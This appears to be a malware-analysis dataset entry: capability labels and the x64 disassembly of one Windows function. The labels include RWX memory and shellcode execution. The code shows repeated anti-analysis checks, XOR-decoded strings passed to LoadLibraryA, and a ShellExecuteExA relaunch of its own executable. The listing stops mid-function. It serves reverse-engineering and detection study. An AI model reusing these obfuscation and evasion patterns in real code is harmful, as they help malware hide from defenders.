Function at 0x14001d264
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.14008c1d0
sub rsp, rax
mov rax, qword [0x1400de700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[0x23]
mov r15d, 0xcae3443f
movabs r14, 0x43cd74f94e7736a0
cmp rax, r15
jne 0x14001d35b
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d33b
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d33b
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d35b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov edi, 0xcae3443f
mov ecx, edi
call fcn.1400024e4
mov rax, qword gs:[0x23]
mov ebx, 0x208c51f
mov esi, 0xc8da7f20
mov r13d, 0x12764b03
cmp rax, r15
jne 0x14001d42e
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, esi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, r13d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d40e
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d40e
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d42e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
mov r12d, 0xd969f13c
cmp rax, r15
jne 0x14001d4de
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d4be
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d4be
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d4de
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov ecx, edi
call fcn.14001c870
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001d58f
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d56f
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d56f
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d58f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001d648
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d628
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d628
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d648
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
lea rdx, [0x1400d1030]
lea rcx, [rbp + 0x998]
call fcn.140001ea8
mov rdx, rax
mov ecx, edi
call fcn.140003474
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001d70f
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d6ef
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d6ef
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d70f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001d7c8
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d7a8
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d7a8
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d7c8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov dword [rbp + 0x90], 0x721b6cb2
mov dword [rbp + 0x94], 0xf7da27a8
mov word [rbp + 0x98], 0x75
xor r13d, r13d
mov edi, r13d
movabs rsi, 0x1a6340e62
mov qword [rsp + 0x20], rsi
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.14002ccc4
xor al, dil
mov byte [rbp + rdi + 0x90], al
inc rdi
cmp rdi, 9
jb 0x14001d7f5
mov byte [rbp + 0x99], r13b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x23]
cmp rax, r15
mov esi, 0xc8da7f20
jne 0x14001d8ec
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d8cc
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d8cc
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d8ec
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001d996
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d976
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d976
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d996
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov dword [rbp + 0x1f0], 0x7c5a9e9a
mov dword [rbp + 0x1f4], 0xe90e0388
mov dword [rbp + 0x1f8], 0xa0724c22
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r13
movabs r12, 0x1a6340e62
mov qword [rsp + 0x20], r12
mov r9d, recv
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.14002c920
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
inc rdi
cmp rdi, 0xc
jb 0x14001d9c9
mov byte [rbp + 0x1fc], r13b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x23]
cmp rax, r15
mov r12d, 0xd969f13c
jne 0x14001dad2
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001dab2
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001dab2
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001dad2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.14001ca28
test eax, eax
jne 0x14001dd79
mov edi, r13d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400b5a30
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x14001dbef
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400b5a30
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r13
mov dword [rbp - 0x70], 0xba4abf97
mov word [rbp - 0x6c], Ordinal_217
movabs rsi, 0x1a6340e62
mov qword [rsp + 0x20], rsi
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.14002cc50
xor al, dil
mov byte [rbp + rdi - 0x70], al
inc rdi
cmp rdi, 5
jb 0x14001db5f
mov byte [rbp - 0x6b], r13b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r13b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r13
mov dword [rbp + 0xef0], 1
mov qword [rbp + 0xef8], r13
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x14002c5a6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x14001dbf9
movabs rsi, 0x1a6340e62
mov word [rbp - 0x80], 7
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 7
lea rcx, [rbp - 0x80]
call fcn.14002caf8
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r13b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.14001c8a8
mov rbx, rax
movdqa xmm0, xmmword [0x1400d3d30]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x1400d3b90]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0x9e8fcbbd
mov dword [rbp + 0xc1c], 0x14a527a4
mov dword [rbp + 0xc20], 0xfcbfd6a8
mov word [rbp + 0xc24], Ordinal_45
mov rdi, r13
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.14002cbdc
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
inc rdi
cmp rdi, 0x2d
jb 0x14001dc7a
mov byte [rbp + 0xc25], r13b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.14002dc70
lea r8, [rbp - 0x80]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.14002de30
lea rcx, [rbp + 0x9d8]
call fcn.14002d788
lea rcx, [rbp + 0x9b8]
call fcn.14002d788
movdqa xmm0, xmmword [0x1400d3da0]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], Ordinal_200
mov rdi, r13
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.14002c6d8
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
inc rdi
cmp rdi, 0x11
jb 0x14001dd12
mov byte [rbp + 0x2b9], r13b
lea rcx, [rbp + 0x11a8]
call fcn.14002d3dc
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001de23
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001de03
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001de03
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001de23
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001ded3
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001deb3
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001deb3
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ded3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001df7d
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001df5d
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001df5d
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001df7d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001e038
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001e018
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001e018
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001e038
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001e0e2
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001e0c2
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001e0c2
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001e0e2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
xor ecx, ecx
call fcn.140093ca4
mov rbx, rax
mov word [rbp - 0x7c], 0x5c
movabs rsi, 0x1a6340e62
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0x5c
lea rcx, [rbp - 0x7c]
call fcn.14002caf8
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r13b
mov dword [rbp - 0x60], 0x430051e8
mov word [rbp - 0x5c], 0x5750
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r13
mov qword [rsp + 0x20], rsi
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.14002c998
xor al, dil
mov byte [rbp + rdi - 0x60], al
inc rdi
cmp rdi, 6
jb 0x14001e131
mov byte [rbp - 0x5a], r13b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.140097184
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001e221
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001e201
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001e201
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001e221
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001e2cb
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001e2ab
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001e2ab
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001e2cb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov ecx, 2
call fcn.140093ca4
mov rbx, rax
mov word [rbp - 0x78], 0x59
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0x59
lea rcx, [rbp - 0x78]
call fcn.14002caf8
mov byte [rbp - 0x78], al
mov byte [rbp - 0x77], r13b
mov dword [rbp - 0x38], 0xf3da243b
mov word [rbp - 0x34], 0xe421
or rax, 0xffffffffffffffff
mov byte [rbp - 0x32], al
xor eax, eax
mov byte [rbp - 0x31], al
mov rdi, r13
lea esi, [rax + 7]
movabs r14, 0x1a6340e62
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.14002cb68
xor al, dil
mov byte [rbp + rdi - 0x38], al
inc rdi
cmp rdi, rsi
jb 0x14001e327
mov byte [rbp - 0x31], r13b
mov r9, rbx
lea r8, [rbp - 0x78]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.140097184
mov rax, qword gs:[0x23]
cmp rax, r15
movabs r14, 0x43cd74f94e7736a0
jne 0x14001e41d
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001e3fd
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001e3fd
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001e41d
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14001e4dc
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x208c51f
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0xc8da7f20
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001e4bc
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001e4bc
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001e4dc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov ecx, 1
call fcn.140093ca4
mov rbx, rax
mov word [rbp - 0x74], 0x59
movabs r12, 0x1a6340e62
mov qword [rsp + 0x20], r12
mov r9d, 1
xor r8d, r8d
mov dl, 0x59
lea rcx, [rbp - 0x74]
call fcn.14002caf8
mov byte [rbp - 0x74], al
mov byte [rbp - 0x73], r13b
mov dword [rbp - 0x30], 0xf3da243b
mov dword [rbp - 0x2c], 0xffe421
mov rdi, r13
mov qword [rsp + 0x20], r12
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.14002cb68
xor al, dil
mov byte [rbp + rdi - 0x30], al
inc rdi
cmp rdi, rsi
jb 0x14001e52a
mov byte [rbp - 0x29], r13b
mov r9, rbx
lea r8, [rbp - 0x74]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.140097184
mov rax, qword gs:[0x23]
cmp rax, r15
mov r12d, 0xd969f13c
jne 0x14001e61c
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001e5fc
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001e5fc
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001e61c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
mov ebx, 0x208c51f
cmp rax, r15
jne 0x14001e6dd
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0xc8da7f20
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001e6bd
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001e6bd
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001e6dd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
movdqa xmm0, xmmword [0x1400d3d80]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [0x1400d3d00]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x1400d3b10]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0xed4f8ed
mov dword [rbp + 0xd4c], 0x96198dda
mov dword [rbp + 0xd50], 0xa30faf49
mov word [rbp + 0xd54], reloc.WLDAP32.dll_Ordinal_22
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r13
movabs r14, 0x1a6340e62
mov qword [rsp + 0x20], r14
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.14002ca84
xor al, dil
mov byte [rbp + rdi + 0xd18], al
inc rdi
cmp rdi, 0x3e
jb 0x14001e749
mov byte [rbp + 0xd56], r13b
lea rcx, [rbp + 0xd18]
call fcn.140001d4c
mov rax, qword gs:[0x23]
cmp rax, r15
movabs r14, 0x43cd74f94e7736a0
jne 0x14001e844
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001e824
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001e824
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001e844
mov rax, qword [rbp + 0xf40]
